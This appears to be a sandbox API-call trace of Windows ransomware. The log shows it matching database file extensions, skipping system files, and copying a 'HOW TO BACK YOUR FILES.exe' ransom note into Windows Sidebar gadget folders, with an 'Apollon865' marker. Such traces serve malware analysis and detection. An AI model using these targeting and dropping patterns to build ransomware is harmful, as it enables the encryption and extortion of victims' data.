	[0061.197] lstrcmpiW (lpString1="tml", lpString2="abs") returned 1
	[0061.197] lstrlenW (lpString="abx") returned 3
	[0061.197] lstrcmpiW (lpString1="tml", lpString2="abx") returned 1
	[0061.197] lstrlenW (lpString="accdb") returned 5
	[0061.197] lstrcmpiW (lpString1=".html", lpString2="accdb") returned -1
	[0061.197] lstrlenW (lpString="accdc") returned 5
	[0061.197] lstrcmpiW (lpString1=".html", lpString2="accdc") returned -1
	[0061.197] lstrlenW (lpString="accde") returned 5
	[0061.197] lstrcmpiW (lpString1=".html", lpString2="accde") returned -1
	[0061.197] lstrlenW (lpString="accdr") returned 5
	[0061.197] lstrcmpiW (lpString1=".html", lpString2="accdr") returned -1
	[0061.197] lstrlenW (lpString="accdt") returned 5
	[0061.197] lstrcmpiW (lpString1=".html", lpString2="accdt") returned -1
	[0061.197] lstrlenW (lpString="accdw") returned 5
	[0061.197] lstrcmpiW (lpString1=".html", lpString2="accdw") returned -1
	[0061.197] lstrlenW (lpString="accft") returned 5
	[0061.197] lstrcmpiW (lpString1=".html", lpString2="accft") returned -1
	[0061.197] lstrlenW (lpString="adb") returned 3
	[0061.197] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0061.197] lstrlenW (lpString="adb") returned 3
	[0061.198] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0061.198] lstrlenW (lpString="ade") returned 3
	[0061.198] lstrcmpiW (lpString1="tml", lpString2="ade") returned 1
	[0061.198] lstrlenW (lpString="adf") returned 3
	[0061.198] lstrcmpiW (lpString1="tml", lpString2="adf") returned 1
	[0061.198] lstrlenW (lpString="adn") returned 3
	[0061.198] lstrcmpiW (lpString1="tml", lpString2="adn") returned 1
	[0061.198] lstrlenW (lpString="adp") returned 3
	[0061.198] lstrcmpiW (lpString1="tml", lpString2="adp") returned 1
	[0061.198] lstrlenW (lpString="alf") returned 3
	[0061.198] lstrcmpiW (lpString1="tml", lpString2="alf") returned 1
	[0061.198] lstrlenW (lpString="ask") returned 3
	[0061.198] lstrcmpiW (lpString1="tml", lpString2="ask") returned 1
	[0061.198] lstrlenW (lpString="btr") returned 3
	[0061.198] lstrcmpiW (lpString1="tml", lpString2="btr") returned 1
	[0061.198] lstrlenW (lpString="cat") returned 3
	[0061.198] lstrcmpiW (lpString1="tml", lpString2="cat") returned 1
	[0061.198] lstrlenW (lpString="cdb") returned 3
	[0061.198] lstrcmpiW (lpString1="tml", lpString2="cdb") returned 1
	[0061.198] lstrlenW (lpString="ckp") returned 3
	[0061.198] lstrcmpiW (lpString1="tml", lpString2="ckp") returned 1
	[0061.198] lstrlenW (lpString="cma") returned 3
	[0061.198] lstrcmpiW (lpString1="tml", lpString2="cma") returned 1
	[0061.198] lstrlenW (lpString="cpd") returned 3
	[0061.198] lstrcmpiW (lpString1="tml", lpString2="cpd") returned 1
	[0061.198] lstrlenW (lpString="dacpac") returned 6
	[0061.198] lstrcmpiW (lpString1="s.html", lpString2="dacpac") returned 1
	[0061.198] lstrlenW (lpString="dad") returned 3
	[0061.198] lstrcmpiW (lpString1="tml", lpString2="dad") returned 1
	[0061.198] lstrlenW (lpString="dadiagrams") returned 10
	[0061.198] lstrcmpiW (lpString1="tings.html", lpString2="dadiagrams") returned 1
	[0061.198] lstrlenW (lpString="daschema") returned 8
	[0061.198] lstrcmpiW (lpString1="ngs.html", lpString2="daschema") returned 1
	[0061.199] lstrlenW (lpString="db-journal") returned 10
	[0061.199] lstrcmpiW (lpString1="tings.html", lpString2="db-journal") returned 1
	[0061.199] lstrlenW (lpString="db-shm") returned 6
	[0061.199] lstrcmpiW (lpString1="s.html", lpString2="db-shm") returned 1
	[0061.199] lstrlenW (lpString="db-wal") returned 6
	[0061.199] lstrcmpiW (lpString1="s.html", lpString2="db-wal") returned 1
	[0061.199] lstrlenW (lpString="dbc") returned 3
	[0061.199] lstrcmpiW (lpString1="tml", lpString2="dbc") returned 1
	[0061.199] lstrlenW (lpString="dbs") returned 3
	[0061.199] lstrcmpiW (lpString1="tml", lpString2="dbs") returned 1
	[0061.199] lstrlenW (lpString="dbt") returned 3
	[0061.199] lstrcmpiW (lpString1="tml", lpString2="dbt") returned 1
	[0061.199] lstrlenW (lpString="dbv") returned 3
	[0061.199] lstrcmpiW (lpString1="tml", lpString2="dbv") returned 1
	[0061.199] lstrlenW (lpString="dbx") returned 3
	[0061.199] lstrcmpiW (lpString1="tml", lpString2="dbx") returned 1
	[0061.199] lstrlenW (lpString="dcb") returned 3
	[0061.199] lstrcmpiW (lpString1="tml", lpString2="dcb") returned 1
	[0061.303] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js"
	[0061.303] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0061.303] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0061.303] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js") returned 65
	[0061.304] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js"
	[0061.304] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.304] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.308] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.308] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3c9c6e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c9c6e50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0061.309] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.309] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.309] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0061.309] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3c9c6e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c9c6e50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.309] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.309] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0061.309] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0061.309] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0061.309] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9c6e50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3c9c6e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0061.309] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0061.309] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1aee4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RSSFeeds.js", cAlternateFileName="")) returned 1
	[0061.309] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.309] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="Apollon865.txt.exe") returned 1
	[0061.309] lstrcmpiW (lpString1="RSSFeeds.js", lpString2=".") returned 1
	[0061.309] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="..") returned 1
	[0061.309] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="windows") returned -1
	[0061.309] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="bootmgr") returned 1
	[0061.309] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="temp") returned -1
	[0061.309] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="pagefile.sys") returned 1
	[0061.309] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="boot") returned 1
	[0061.309] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="ids.txt") returned 1
	[0061.309] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="ntuser.dat") returned 1
	[0061.309] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="perflogs") returned 1
	[0061.309] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="MSBuild") returned 1
	[0061.309] lstrlenW (lpString="RSSFeeds.js") returned 11
	[0061.309] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*") returned 67
	[0061.309] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="RSSFeeds.js" | out: lpString1="RSSFeeds.js") returned="RSSFeeds.js"
	[0061.309] lstrlenW (lpString="RSSFeeds.js") returned 11
	[0061.310] lstrlenW (lpString="Apollon865") returned 10
	[0061.310] lstrcmpiW (lpString1="SSFeeds.js", lpString2="Apollon865") returned 1
	[0061.310] lstrlenW (lpString=".dll") returned 4
	[0061.310] lstrcmpiW (lpString1="RSSFeeds.js", lpString2=".dll") returned 1
	[0061.310] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="settings.js" | out: lpString1="settings.js") returned="settings.js"
	[0061.310] lstrlenW (lpString="settings.js") returned 11
	[0061.310] lstrlenW (lpString="Apollon865") returned 10
	[0061.310] lstrcmpiW (lpString1="ettings.js", lpString2="Apollon865") returned 1
	[0061.310] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css"
	[0061.310] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0061.310] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0061.310] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css") returned 66
	[0061.310] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css"
	[0061.310] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.310] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.314] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.314] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3c9ecfb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c9ecfb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0061.315] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.315] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.315] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0061.315] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3c9ecfb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c9ecfb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.315] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.315] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0061.315] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0061.315] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0061.315] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="flyout.css", cAlternateFileName="")) returned 1
	[0061.315] lstrcmpiW (lpString1="flyout.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.315] lstrcmpiW (lpString1="flyout.css", lpString2="Apollon865.txt.exe") returned 1
	[0061.315] lstrcmpiW (lpString1="flyout.css", lpString2=".") returned 1
	[0061.315] lstrcmpiW (lpString1="flyout.css", lpString2="..") returned 1
	[0061.315] lstrcmpiW (lpString1="flyout.css", lpString2="windows") returned -1
	[0061.315] lstrcmpiW (lpString1="flyout.css", lpString2="bootmgr") returned 1
	[0061.315] lstrcmpiW (lpString1="flyout.css", lpString2="temp") returned -1
	[0061.315] lstrcmpiW (lpString1="flyout.css", lpString2="pagefile.sys") returned -1
	[0061.315] lstrcmpiW (lpString1="flyout.css", lpString2="boot") returned 1
	[0061.315] lstrcmpiW (lpString1="flyout.css", lpString2="ids.txt") returned -1
	[0061.315] lstrcmpiW (lpString1="flyout.css", lpString2="ntuser.dat") returned -1
	[0061.315] lstrcmpiW (lpString1="flyout.css", lpString2="perflogs") returned -1
	[0061.315] lstrcmpiW (lpString1="flyout.css", lpString2="MSBuild") returned -1
	[0061.315] lstrlenW (lpString="flyout.css") returned 10
	[0061.315] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*") returned 68
	[0061.315] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="flyout.css" | out: lpString1="flyout.css") returned="flyout.css"
	[0061.315] lstrlenW (lpString="flyout.css") returned 10
	[0061.315] lstrlenW (lpString="Apollon865") returned 10
	[0061.316] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="RSSFeeds.css" | out: lpString1="RSSFeeds.css") returned="RSSFeeds.css"
	[0061.316] lstrlenW (lpString="RSSFeeds.css") returned 12
	[0061.316] lstrlenW (lpString="Apollon865") returned 10
	[0061.316] lstrcmpiW (lpString1="SFeeds.css", lpString2="Apollon865") returned 1
	[0061.316] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="settings.css" | out: lpString1="settings.css") returned="settings.css"
	[0061.316] lstrlenW (lpString="settings.css") returned 12
	[0061.316] lstrlenW (lpString="Apollon865") returned 10
	[0061.316] lstrcmpiW (lpString1="ttings.css", lpString2="Apollon865") returned 1
	[0061.316] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget"
	[0061.316] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0061.316] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0061.316] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget") returned 61
	[0061.316] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget"
	[0061.316] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.316] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.322] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.322] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3c9ecfb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c9ecfb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0061.322] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.322] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.322] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0061.322] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3c9ecfb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c9ecfb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.322] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.322] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0061.322] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0061.322] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0061.322] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b69cdc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b69cdc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38816739, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7a53, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1
	[0061.322] lstrcmpiW (lpString1="drag.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.322] lstrcmpiW (lpString1="drag.png", lpString2="Apollon865.txt.exe") returned 1
	[0061.322] lstrcmpiW (lpString1="drag.png", lpString2=".") returned 1
	[0061.322] lstrcmpiW (lpString1="drag.png", lpString2="..") returned 1
	[0061.322] lstrcmpiW (lpString1="drag.png", lpString2="windows") returned -1
	[0061.322] lstrcmpiW (lpString1="drag.png", lpString2="bootmgr") returned 1
	[0061.322] lstrcmpiW (lpString1="drag.png", lpString2="temp") returned -1
	[0061.322] lstrcmpiW (lpString1="drag.png", lpString2="pagefile.sys") returned -1
	[0061.322] lstrcmpiW (lpString1="drag.png", lpString2="boot") returned 1
	[0061.322] lstrcmpiW (lpString1="drag.png", lpString2="ids.txt") returned -1
	[0061.322] lstrcmpiW (lpString1="drag.png", lpString2="ntuser.dat") returned -1
	[0061.323] lstrcmpiW (lpString1="drag.png", lpString2="perflogs") returned -1
	[0061.323] lstrcmpiW (lpString1="drag.png", lpString2="MSBuild") returned -1
	[0061.323] lstrlenW (lpString="drag.png") returned 8
	[0061.323] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\*") returned 63
	[0061.323] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="drag.png" | out: lpString1="drag.png") returned="drag.png"
	[0061.323] lstrlenW (lpString="drag.png") returned 8
	[0061.323] lstrlenW (lpString="Apollon865") returned 10
	[0061.323] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0061.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0061.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b8f28
	[0061.323] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x5b7c10
	[0061.323] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ecfb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3c9ecfb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0061.323] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0061.323] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x388629f5, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x388629f5, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x38888b53, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x255b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1
	[0061.323] lstrcmpiW (lpString1="icon.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.323] lstrcmpiW (lpString1="icon.png", lpString2="Apollon865.txt.exe") returned 1
	[0061.323] lstrcmpiW (lpString1="icon.png", lpString2=".") returned 1
	[0061.323] lstrcmpiW (lpString1="icon.png", lpString2="..") returned 1
	[0061.323] lstrcmpiW (lpString1="icon.png", lpString2="windows") returned -1
	[0061.323] lstrcmpiW (lpString1="icon.png", lpString2="bootmgr") returned 1
	[0061.323] lstrcmpiW (lpString1="icon.png", lpString2="temp") returned -1
	[0061.323] lstrcmpiW (lpString1="icon.png", lpString2="pagefile.sys") returned -1
	[0061.323] lstrcmpiW (lpString1="icon.png", lpString2="boot") returned 1
	[0061.323] lstrcmpiW (lpString1="icon.png", lpString2="ids.txt") returned -1
	[0061.323] lstrcmpiW (lpString1="icon.png", lpString2="ntuser.dat") returned -1
	[0061.323] lstrcmpiW (lpString1="icon.png", lpString2="perflogs") returned -1
	[0061.323] lstrcmpiW (lpString1="icon.png", lpString2="MSBuild") returned -1
	[0061.323] lstrlenW (lpString="icon.png") returned 8
	[0061.323] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US") returned 67
	[0061.324] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="icon.png" | out: lpString1="icon.png") returned="icon.png"
	[0061.324] lstrlenW (lpString="icon.png") returned 8
	[0061.324] lstrlenW (lpString="Apollon865") returned 10
	[0061.324] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="Images" | out: lpString1="Images") returned="Images"
	[0061.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0061.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8a) returned 0x599450
	[0061.324] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0061.324] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b8fe39, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b8fe39, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bdf1625, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0061.324] lstrcmpiW (lpString1="logo.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.324] lstrcmpiW (lpString1="logo.png", lpString2="Apollon865.txt.exe") returned 1
